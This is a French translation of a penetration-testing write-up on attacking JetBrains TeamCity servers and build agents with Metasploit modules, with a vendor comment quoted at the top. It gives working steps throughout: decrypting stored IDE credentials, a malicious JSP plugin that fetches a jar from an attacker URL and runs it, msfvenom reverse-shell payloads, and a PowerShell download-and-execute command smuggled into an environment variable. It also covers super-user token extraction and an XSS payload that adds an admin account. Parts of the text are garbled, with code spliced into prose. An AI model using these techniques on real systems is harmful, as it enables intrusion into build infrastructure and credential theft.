
Pentest de TeamCity avec Metasploit
TL;DR : Obtenez les mots de passe de l'IDE JetBrains (comme IntelliJ ou PyCharm) et utilisez ces identifiants dans TeamCity Continuous Integration Server afin d'obtenir une session meterpreter sur le serveur et les agents de build en utilisant metasploit par Kacper Szurek.




Voici un commentaire de l'éditeur (équipe JetBrains TeamCity) par Yegor Yarko :
OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` This will allow download and execute meterpreter. Compiled `.jar` file is [ici](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip).La majeure partie du contenu de l'article décrit comment des utilisateurs malveillants peuvent abuser de TeamCity s'ils ont légitimement obtenu les permissions nécessaires. Par exemple, un utilisateur avec le rôle d'administrateur système (qui donne un contrôle total sur le serveur) peut installer un plugin TeamCity malveillant ou obtenir un jeton pour l'accès "super utilisateur" au serveur. De même, un administrateur de projet peut exécuter du code arbitraire sur l'agent ou récupérer les mots de passe d'accès au dépôt configurés. Ce comportement fait partie des fonctionnalités offertes par TeamCity en tant que produit. Ces considérations sont décrites dans la de la documentation de TeamCity.
Les problèmes décrits montrent à quel point il peut être dangereux d'accorder des privilèges élevés à un acteur malveillant. Les administrateurs du serveur TeamCity doivent vérifier régulièrement les permissions des utilisateurs afin de ne pas accorder à des utilisateurs potentiellement malveillants des permissions qu'ils pourraient détourner ; vérifier les permissions des utilisateurs invités, si cette fonction est activée. Un autre point est de ne pas laisser vos terminaux sans surveillance lorsque vous êtes connecté avec des permissions non triviales.
Deux problèmes de sécurité concrets sont cependant mentionnés dans l'article : l'un concerne la publication d'un artefact de build malveillant et le fait qu'un administrateur le visualise dans le navigateur, et l'autre est l'escalade d'une permission d'exécution d'un build personnalisé vers l'exécution de code arbitraire sur un agent TeamCity. Ce dernier n'a que des effets mineurs sur la majorité des installations TeamCity, car ceux qui ont cette permission ont déjà la capacité d'exécuter n'importe quel code sur l'agent.
Néanmoins, nous allons traiter les problèmes ci-dessus dans l'une des prochaines versions de TeamCity, et nous vous remercions de les avoir portés à notre attention.
Supposons que vous effectuez un test de pénétration dans une société de logiciels qui utilise la pile JetBrains. Vous utilisez metasploit et obtenez une session meterpreter sur l'ordinateur du développeur.
Que pouvez-vous faire ensuite ? Il y a un article sur le pentest de TeamCity par Nikhil SamratAshok Mittal datant de 2015.
Dans cet article, je combine plusieurs techniques issues des Notes de sécurité et du BugTrack et les intègre dans un module Metasploit.
Remarque : Je n'utilise aucun 0-day ici. Pour chaque action, vous avez besoin d'identifiants TeamCity valides. Voir Commentaire de JetBrains.
Je ne suis pas responsable des dommages causés par ce script. Pour la sécurité des données, utilisez set CLEANUP false.
Testé sur TeamCity 2017.2.1 (build 50732).
Pour décoder la base de données KeePass, nous avons besoin de la bibliothèque Ruby kdbx.
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle installMaintenant vous pouvez :
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb et serverplugin.zip dans ~/.msf4/modules/exploitsjetbrains.rb dans ~/.msf4/modules/postmsfconsolereload_allTeamCity peut être facilement intégré à tous les IDE JetBrains à l'aide d'un plugin.

Si l'option Remember me est utilisée, les mots de passe sont stockés via l'API IntelliJ Platform Credentials Store. Vous pouvez trouver le code source ici.
La routine de déchiffrement sous Windows ressemble à ceci :

pdb.pw est déchiffré en utilisant Windows CryptUnprotectData. Cela signifie que seul l'utilisateur dont les données sont chiffrées peut les décoder.c.kdbx peut maintenant être déchiffrée en utilisant le Master Password du point 2.0xDFAA.Par défaut, le Master Password est aléatoire. Il peut être modifié dans les options :

Mais cela ne change rien.
Cela signifie seulement que la base de données KeePass c.kdbx sera chiffrée avec un mot de passe différent. L'utilisateur local peut toujours obtenir facilement ce mot de passe à partir du fichier pdb.pw.
Supposons que vous ayez une session Meterpreter valide avec `#1```` use post/jetbrains set SESSION 1 exploit
La sortie ressemble à ceci :```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
Vous disposez maintenant des identifiants TeamCity provenant du module metasploit JetBrains. En fonction du rôle d'utilisateur actuel, vous pouvez :
| Shell sur le serveur | Shell sur les agents de build | Super utilisateur | Identifiants enregistrés | |
|---|---|---|---|---|
| Administrateur | ✔️ | ✔️ | ✔️ | ✔️ Pour tous les projets |
| Utilisateur connecté | ❌ | ✖️ uniquement sur les agents Windows | ❌ | ❌ |
| Utilisateur invité | ❌ | ❌ | ❌ | ❌ |
| Shell sur le serveur | Shell sur les agents de build | Super utilisateur | Identifiants enregistrés | |
|---|---|---|---|---|
| Administrateur système | ✔️ | ✔️ | ✔️ | ✔️ Pour tous les projets |
| Administrateur de projet | ❌ | ✔️ | ❌ | ✔️ |
| Développeur de projet | ❌ | ✖️ uniquement sur les agents Windows | ❌ | ❌ |
| Observateur de projet | ❌ | ❌ | ❌ | ❌ |
Veuillez noter que le module metasploit ne prend pas en charge les rôles personnalisés.
TeamCity peut être facilement étendu à l'aide de plugins.

En utilisant cette fonctionnalité, il est possible de créer un plugin malveillant qui exécutera une session meterpreter.
Hello.jsp, mettez : ```java
<%@ page import="java.io.File" %>Server Administration->Diagnostics->Browse Data Directory and téléversez le plugin in plugins directory. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)
Server Administration->Diagnostics->Troubleshooting->Restart server (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)
.jar en utilisant http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jarUn Agent de build TeamCity est un logiciel qui écoute les commandes du serveur TeamCity et lance les processus de build réels. Il est installé et configuré séparément du serveur TeamCity. Un agent peut être installé sur le même ordinateur que le serveur ou sur une machine différente.
L'exploitation ressemble à ceci :

En termes simples : nous générons un meterpreter java qui est hébergé sur un serveur git. Ensuite, nous créons une configuration de build qui télécharge notre meterpreter depuis le serveur git et l'exécute sur les agents en utilisant la ligne de commande.
1. Générez le payload meterpreter : msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar
2. Hébergez meterpreter.jar sur un serveur Git (par exemple en utilisant https://gogs.io/)
3. Si vous avez les privilèges System Administrator, vous pouvez créer un nouveau projet (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). Si vous êtes Project Developer, vous devez éditer le projet pour lequel vous avez accès.

4. Ajoutez une racine VCS à votre projet en utilisant les données du point 2

5. Créez une nouvelle configuration de build

6. Ajoutez une étape de build à la configuration de build

| Clé | Valeur |
|---|---|
| Type d'exécuteur | Command line |
| Exécuter l'étape | Toujours, même si la commande d'arrêt de build a été émise |
| Exécuter | Exécutable avec paramètres |
| Exécutable de commande | %teamcity.agent.jvm.java.home%/bin/java |
| Paramètres de commande | -jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar |
7. Préparez le multi-handler metasploit : ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit
8\. Exécuter une construction personnalisée sur tous les agents compatibles

## Shell sur les agents de build Windows
Par défaut, `Project Developer` ne peut pas modifier/créer des étapes de build.
Il n'est donc pas possible d'ajouter et d'exécuter notre ligne de commande malveillante.
Nous pouvons tenter de contourner cela sur Windows en utilisant [Custom environment variables ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). Comment ?
Teamcity prend en charge [git checkout on agent](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).
Avant l'exécution de l'étape de build, l'agent télécharge les données les plus récentes depuis le serveur git :```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}
L'agent vérifie si la variable d'environnement TEAMCITY_GIT_PATH existe. Si oui, elle est utilisée comme chemin pour le binaire git.
Dans un projet TeamCity, le développeur peut exécuter un build pour lequel il a accès et spécifier des variables d'environnement personnalisées.
Donc nous définissons env.TEAMCITY_GIT_PATH sur :```
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

Dans les logs de build, cela ressemble à ceci :```
[2018-01-30 20:54:55,342] INFO - jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"
[2018-01-30 20:54:55,343] INFO - jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718] WARN - jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (version:String) [], CommandNotF
oundException
+ FullyQualifiedErrorId : CommandNotFoundException
TeamCity a ce qu'on appelle un compte super utilisateur. Il permet d'accéder à l'interface utilisateur du serveur avec les autorisations d'administrateur système si vous ne vous souvenez pas des identifiants ou si vous devez corriger les paramètres liés à l'authentification.
Si vous disposez des privilèges Administrateur système, allez dans Administration du serveur->Diagnostics->Journaux du serveur->teamcity-server.log et recherchez la chaîne Super user authentication token (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log) :```
[2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.
Maintenant vous pouvez vous connecter en utilisant : `http://teamcity/login.html?super=1`
## Informations d'identification sauvegardées
TeamCity stocke des éléments comme `VCS root passwords`, `password parameters` ou `SSH keys` sous forme chiffrée et n'affiche pas leur contenu sur l'interface web ou API.
Mais cela peut être contourné en utilisant la fonction `export`. Allez dans **Votre projet->Settings Export->Export**

Ces fichiers ressemblent à ceci :```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
<name>exploiter</name>
<parameters />
<project-extensions>
<extension id="PROJECT_EXT_2" type="OAuthProvider">
<parameters>
<param name="displayName" value="Docker Registry" />
<param name="providerType" value="Docker" />
<param name="repositoryUrl" value="https://docker.io" />
<param name="secure:userPass" value="zxxyour_encrypted_passwords" />
<param name="userName" value="my_user_name" />
</parameters>
</extension>
</project-extensions>
<cleanup />
</project>
Encrypted strings starts with zxx and are encoded using DES with static key.
Comme nous pouvons le lire dans Teamcity Bug Tracker #TW-27206 : Les données malveillantes dans les artefacts de build peuvent initier une attaque XSS.
Actuellement, tous les fichiers .html (et certains autres) des artefacts de build sont rendus dans le navigateur en cliquant dessus.
J'ai créé un petit extrait de code qui tente de créer un nouveau compte administrateur.
À quoi peut ressembler cette attaque ? Nous essayons de persuader un administrateur de visiter notre artefact malveillant disponible à une URL comme celle-ci http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html.

TeamCity vous permet d'activer la connexion invité qui permet un accès anonyme à l'interface web de TeamCity.
Un administrateur serveur peut activer la connexion invité sur la page Administration | Authentification.
Vous pouvez utiliser cela pour obtenir des artefacts de build.
Utilisation de base :``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit
La sortie ressemble à ceci :
Options supplémentaires :
| Nom | Description |
|:---:|:---:|
|PROJECT_ID|Spécifiez l'ID du projet, par défaut il créera un nouveau projet aléatoire|
|BUILD_TYPE_ID|Spécifiez l'ID du type de build, par défaut il créera un nouveau type de build aléatoire|
|VCS_ID|Spécifiez l'ID VCS, par défaut il créera un nouveau VCS aléatoire|
|CLEANUP|Supprimer la racine du projet/build/VCS créée|
|SERVER_PLUGIN|Chemin vers [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|Chemin vers le répertoire GIT|
# Dépannage
1. Je ne peux pas charger les modules Metasploit
Vérifiez que vous avez copié `teamcity.rb` dans le répertoire `~/.msf4/modules/exploits` et `jetbrains.rb` dans `~/.msf4/modules/post`.
Metasploit nécessite que les modules d'exploit soient dans le répertoire `exploits` et les modules post dans le répertoire `post`.
2. Avertissement ! Les modules suivants n'ont pas pu être chargés ! LoadError: cannot load such file -- kdbx
Avez-vous installé le [module kdbx](#installation) ? Si oui, quittez Metasploit et relancez-le. Utilisez la commande `reload_all`.
3. Je ne peux pas obtenir les mots de passe de l'IDE installé sur Mac/Linux
Actuellement, seul Windows est supporté. Désolé.
4. Post échoué : Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1
Vous utilisez probablement le meterpreter java. Il ne dispose pas de certaines API importantes. Migrez vers `windows/meterpreter/reverse_tcp` et réessayez.
5. Exécution en tant que SYSTEM, impossible de déchiffrer les données
Parce que les mots de passe sont chiffrés avec l'API `CryptUnprotectData`, la fonction de décodage doit s'exécuter dans le contexte d'un compte utilisateur normal.
6. Je n'obtiens pas de [shell sur le serveur](#shell-on-server)
Exécutez l'exploit une deuxième fois.
7. `teamcit.rb` ne fonctionne pas même si l'utilisateur actuel a suffisamment de privilèges
Ce module ne supporte pas les rôles personnalisés.
8. Impossible de trouver git dans %path%. Veuillez modifier GIT_PATH
Nous avons besoin des binaires `git` et `git-upload-pack` pour configurer le serveur Git qui hébergera notre meterpreter. J'utilise une idée provenant de [ici](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).
```
set GIT_PATH /your/path/to/git/dir
```
9. Impossible de se connecter en tant que `username:password`
Vérifiez les identifiants :
set USERNAME your_user_name
set PASSWORD your_password
10. Impossible de trouver le plugin serveur : %path%. Veuillez modifier SERVER_PLUGIN
Spécifiez où est stocké [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)
set SERVER_PLUGIN /your/path/to/serverplugin.zip
11. [-] Exploit échoué : Rex::RuntimeError The supplied resource is already added.
Tue les tâches en arrière-plan avec `jobs -K`
12. Veuillez lier LHOST à une adresse IP spécifique, pas à 0.0.0.0
Lie à une adresse IP spécifique, par exemple : ```
use LHOST 192.168.1.123
Vous n'avez pas les permissions pour ce projet spécifique. Consultez pour quel projet vous avez accès, par exemple : ``` You can modify only following projects: ["test", "second"]
et ensuite spécifiez l'ID du projet : ```
set PROJECT_ID test
java/meterpreter/reverse_tcp est disponible ?Parce que c'est portable. N'hésitez pas à modifier la fonction is_payload_compatible?.
Activer le débogage :
set HttpTrace 1
set LogLevel 3